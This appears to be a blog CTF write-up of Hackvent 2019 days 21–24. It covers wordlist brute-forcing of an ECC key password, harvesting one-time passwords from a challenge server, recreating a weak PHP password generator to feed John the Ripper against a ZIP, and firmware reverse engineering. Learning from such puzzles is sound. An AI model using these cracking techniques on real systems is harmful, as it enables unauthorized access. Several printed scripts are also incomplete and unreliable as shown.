NIST-P is used in Elliptic Curve Cryptography (ECC). In December 2009, 10 years ago, the Rockyou data breach happened โ€“ a password wordlist of this breach exists.

The description of the challenge is hard to interpret correctly. This probably was done on purpose. To simplify it a bit:

  • Santa has used a password to protect his private key which is used in ECC
  • This password is 16 (square root 256) characters long and was leaked in the Rockyou breach.
  • The flag itself is encrypted with AES 256. I took the assumption the same password was used to encrypt it.

According to the documentation of PyCryptoDomeโ€™s ECC package we can use ECC.construct() to create a key with all the information we have. If the inputs are wrong, then an exception is thrown.

With this information and the rockyou password list we can brute force the password. We try all passwords of the list until the function doesnโ€™t throw an exception.

The next step is to decrypt โ€œHy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0=โ€ with AES 256, the salt and the information we got out of the challenge description. As said before we use the found password as encryption key.

I implemented both steps in a Python script:

from Crypto.PublicKey import ECC
from Crypto.Cipher import AES
import hashlib
import base64
from Crypto import Random
from Crypto.Util.Padding import pad, unpad
rockyou = "/mnt/shared/rockyou.txt"
x = 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f
y = 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c
key = None
password = ""
with open(rockyou) as f:
    for line in f:
        p = line.strip()
        if len(p) == 16:
            sha256d = hashlib.sha256(p).hexdigest()
            #print("Try password: " + p + " || sha256: " + sha256d)
                key = ECC.construct(curve='p256', point_x=x, point_y=y, d=int(sha256d,16))
                print("[+] Matching password found: '" + p + "' !")
                password = p
enc_flag = "Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0="
salt ="TwoHundredFiftySix"
iterations = 256 * 256 * 256
key = hashlib.pbkdf2_hmac("sha256", password, salt, iterations)
print("Key is: " + base64.b64encode(key))
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(base64.b64decode(enc_flag))

Running the script reveals the password and the flag:

python sol_21.py
[+] Matching password found: 'santacomesatxmas' !
Key is: 6x4EQsplZuXWh3QNJGyupts7KFH3dBQNFTyEjVlRVwU=

Flag: HV19{sry_n0_crypt0mat_th1s_year}

HV19.22 The command โ€ฆ is lost (Author: inik โ€” Level: leet)

Santa bought this gadget when it was released in 2010. He did his own DYI project to control his sledge by serial communication over IR. Unfortunately Santa lost the source code for it and doesnโ€™t remember the command needed to send to the sledge. The only thing left is this file: thecommand7.data

Santa likes to start a new DYI project with more commands in January, but first he needs to know the old command. So, now itโ€™s on you to help out Santa.

First find out more about the .data file we got:

cat /mnt/shared/thecommand7.data

Intel HEX is a file format that conveys binary information in ASCII text form. It is commonly used for programming microcontrollersEPROMs, and other types of programmable logic devices.

As the description of the challenge is talking about DIY I assumed this has to be Arduino. Before doing any static analysis on such a format I prefer to find a debugger to run and debug it. After searching the Internet I came across this simulator. I used the evaluation copy. Fortunately it did run with wine.
The program breaks with an error after the simulator runs for a bit.

The description tells us that the gadget is from 2010. The Arduino Uno is from 2010 and has the ATMega328P Prozessor. Changing the microcontroller to ATMega328P in the AVR Simulator made the program work like a charm.

After examining the memory addresses in the simulator I found the Flag stored in alphabetical order at the memory location $100 โ€“ $115.

And if we run the program for some time the flag gets stored in the right order at the memory location $117-$141.

The only thing left was to write down all HEX values and translate them into ASCII.

48 56 31 39 7b 48 33 79 5f 53 6c 33 64 67 33 5f 6d 33 33 74 5f 6d 33 5f 61 74 5f 74 68 33 5f 6e 33 78 74 5f 63 30 72 6e 33 72 7d

This is done easiest with the magic function of CyberChef.

Flag: HV19{H3y_Sl3dg3_m33t_m3_at_th3_n3xt_c0rn3r}

HV19.23 Internet Data Archive (Author: M. โ€” Level: leet)

Todayโ€™s flag is available in the Internet Data Archive (IDA).


The entry point of this challenge was the following website:

We can select different challenges from previous years, enter a username and then submit the request. First username I tried was โ€˜santaโ€™. But with this username returned back โ€œIllegal requestโ€. Other usernames are working and we get a password together with a link to an encrypted ZIP file.

The link to the ZIP file is: http://whale.hacking-lab.com:23023/tmp/mcia-data.zip. If I re-submit a request with the same username โ€˜mciaโ€™ this archive gets overwritten but a new password is assigned.

Because we can not choose the username โ€˜santaโ€™ we probably have to decrypt Santas ZIP file. This was confirmed after finding the indexable tmp folder on the webserver and the oldest ZIP archive being Santaโ€™s one.

I couldnโ€™t find anything suspicious in the phpinfo.php file, therefore I moved on. Apparently this really is about password cracking. The generated passwords were always 12 characters long. I collected many passwords with this script:

import requests
URL = 'http://whale.hacking-lab.com:23023/archive.php'
headers = {"Content-Type": "application/x-www-form-urlencoded",
            "Connection" : "keep-alive"}
data = 'username=mcia&req%5B%5D=candle&req%5B%5D=ball15&req%5B%5D=cake&req%5B%5D=blindball'
pw_text = "Your one-time Password is: <strong>"
pw_length = 12
while True:
    r = requests.post(URL, data = data, headers = headers)
    i = r.text.index(pw_text) + len(pw_text)
    password = r.text[i:(i + pw_length)]

I saved some hundreds of passwords to a file and generated a password charset.

$ python hv23_pw.py > passwords.txt
$ cat passwords.txt | sed 's/./&\n/g' | LC_COLLATE=C sort -u | tr -d '\n'

Not all letters and numbers are used in the charset. โ€˜1โ€™, โ€˜Iโ€™, โ€˜Nโ€™, โ€˜Oโ€™, โ€˜lโ€™, โ€˜nโ€™, โ€˜oโ€™ are left out. I googled the character set I found and was surprised by the result! https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en/

This matches the title of the challenge, is about password cracking 12 character long passwords with the same character set I had found.

I implemented a random password generator like in the link, but obviously in PHP.

* Inspirations:
* - https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en/
* - https://stackoverflow.com/questions/6101956/generating-a-random-password-in-php
$alphabet1 = "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";
$alphabet2 = "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";
$alphabet3 = "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";
$alphabet4 = "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";
$alphabet5 = "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";
$alphabet6 = "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";
$counter = 0;
//Just run... :)
while (true){
	$pass1 = array();
	$pass2 = array();
	$pass3 = array();
	$pass4 = array();
	$pass5 = array();
	$pass6 = array();
	//12 character password
	$alphaLength = strlen($alphabet1) - 1;
	//set initialization vector
	for ($i = 0; $i < 12; $i++) {
        $n = rand(0, $alphaLength);
        $pass1[] = $alphabet1[$n];
        $pass2[] = $alphabet2[$n];
        $pass3[] = $alphabet3[$n];
        $pass4[] = $alphabet4[$n];
        $pass5[] = $alphabet5[$n];
        $pass6[] = $alphabet6[$n];

Next step is to crack the password with John The Ripper.

$ zip2john Santa-data.zip > zip.hash
$ php gen.php | john --stdin zip.hash
Using default input encoding: UTF-8
			  Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
			  Will run 2 OpenMP threads
			  Press Ctrl-C to abort, or send SIGUSR1 to john process for status
			  Kwmq3Sqmc5sA     (Santa-data.zip/flag.txt)
			  1g 0:00:13:40  0.001218g/s 31688p/s 31688c/s 31688C/s WbUTAyk5kxBT..mLt5JdhVzhWE
			  Use the "--show" option to display all of the cracked passwords reliably
			  Session completed

The password took around 13 minutest to be cracked in my virtual machine.

$ 7z x ../Santa-data.zip -pKwmq3Sqmc5sA
$ cat flag.txt

Flag: HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}

HV19.24 ham radio (Author: DrSchottky โ€” Level: leet)

Elves built for santa a special radio to help him coordinating todayโ€™s presents delivery.


As little present and in order not to screw up your whole christmas, you have 3 whole days to solve this puzzle. Happy christmas!

Last day of Hackvent and there is a Reverse Engineering challenge which gives full points for three days.. This must be a hard oneโ€ฆ :/

First step was to find out a bit more about the binary. Strings already returned some useful information:

$ strings brcmfmac43430-sdio.bin
pGnexmon_ver: 2.2.2-269-g4921d-dirty-16
wl%d: Broadcom BCM%s 802.11 Wireless Controller %s
43430a1-roml/sdio-g-p2p-pool-pno-pktfilter-keepalive-aoe-mchan-tdls-proptxstatus-ampduhostreorder-lpc-sr-bcmcps Version: (r666254 CY) CRC: 970a33e2 Date: Mon 2017-08-07 00:48:36 PDT Ucode Ver: 1043.206
FWID 01-ef6eb4d3

And there we have a Base64 decoded string with a nice little hint:

$ strings brcmfmac43430-sdio.bin | grep Um | base64 --decode
Roses are red, Violets are blue, DrSchottky loves hooking ioctls, why shouldn't you?

Using google and the information I got reveals some more useful information:

  • Broadcom BCM43430 is a wireless chip used on the Raspberry 3
  • DrSchottky made pull requests to the Nexmon project
  • Nexmon was used to patch the original binary file

The first idea was to run the driver in an emulated environment, but this looked to complicated. Therefore I went for a static analysis with Ghidra. Starting point for the analysis is obviously the base64 encoded string.

I mostly worked with the pseudo code of Ghidra and used the Assembly view for verification and getting the data values.

I could find more information on the source code of the Nexmon project. Many variables and functions could be resolved with this wrapper class.

flag_calculator(undefined4 wlc,int cmd,undefined4 ioctl_buffer,undefined4 length,undefined4 wlc_if)
  undefined4 uVar1;
  byte *pbVar2;
  byte *pbVar3;
  byte bStack57;
  undefined4 uStack56;
  undefined4 uStack52;
  undefined4 uStack48;
  undefined4 uStack44;
  undefined4 uStack40;
  undefined4 auStack36 [2];
  uStack56 = *(undefined4 *)PTR_DAT_00058e84;
  uStack52 = *(undefined4 *)(PTR_DAT_00058e84 + 4);
  uStack48 = *(undefined4 *)(PTR_DAT_00058e84 + 8);
  uStack44 = *(undefined4 *)(PTR_DAT_00058e84 + 0xc);
  uStack40 = *(undefined4 *)(PTR_DAT_00058e84 + 0x10);
  auStack36[0] = *(undefined4 *)(PTR_DAT_00058e84 + 0x14);
  if (cmd == 0xcafe) {
    //char *
strncpy(char *dst, char *src, unsigned int num)
    return 0;
  if (cmd != 0xd00d) {
    if (cmd != 0x1337) {
wlc_ioctl(void *wlc, int cmd, void *arg, int len, void *wlc_if)
      uVar1 = func_0x0081a2d4(wlc,cmd,ioctl_buffer,length,wlc_if);
      return uVar1;
    pbVar3 = &bStack57;
    pbVar2 = DAT_00058e88;
    do {
      pbVar3 = pbVar3 + 1;
      pbVar2 = pbVar2 + 1;
      *pbVar3 = *pbVar2 ^ *pbVar3;
    } while (pbVar3 != (byte *)((int)auStack36 + 2));
    //char *
strncpy(char *dst, char *src, unsigned int num)
    return 0;
  return 0;

It looks like in this function the flag is calculated. One important thing is the last function call, which appears to be memcpy. There we load 23 bytes (0x17) from the address 0x800000. This looks like memory from an external source is loaded. And according to this Makefile at this address the rom.bin file is loaded.


The correct rom.bin file we find in a Github project of the same guys who wrote Nexmon: https://github.com/seemoo-lab/bcm_misc/blob/master/bcm43430a1/rom.bin The program flow of the disassembled function then probably looks like this:

  1. cmd == 0xd00d โ€“> Copy the bytes from the rom
  2. cmd == 0x1337 โ€“> XOR the bytes from the memory with a memory range in the firmware

Because XOR is a reversible function we can calculate the 5 first bytes of the memory range we need to get the whole flag.

f = "rom.bin"
rom_bytes = None
hv19_bytes = b"\x48\x56\x31\x39\x7b" #HV19{
with open(f, "rb") as f:
  rom_bytes = f.read(0x17)
# get 5 first bytes of the data in the firmware
r = [hex(ord(a) ^ ord(b)) for a, b in zip(hv19_bytes,rom_bytes[:5])]
$ python sol.py
['0x9', '0xbc', '0x31', '0x3a', '0x68']

If we search for 0x9bc313a68 in the memory we find the corresponding memory address to be at 00058e94.

f = "rom.bin"
rom_bytes = None
fw_bytes = b"\x09\xbc\x31\x3a\x68\x1a\xab\x72\x47\x86\x7e\xe6\x4a\x1d\x6f\x04\x2e\x74\x50\x0d\x78\x06\x3e"
with open(f, "rb") as f:
  rom_bytes = f.read(0x17)
# get the flag
r = ''.join([chr(ord(a) ^ ord(b)) for a, b in zip(fw_bytes,rom_bytes)])
$ python sol.py

Flag: HV19{Y0uw3n7FullM4Cm4n}

Leave a Reply

Your email address will not be published. Required fields are marked *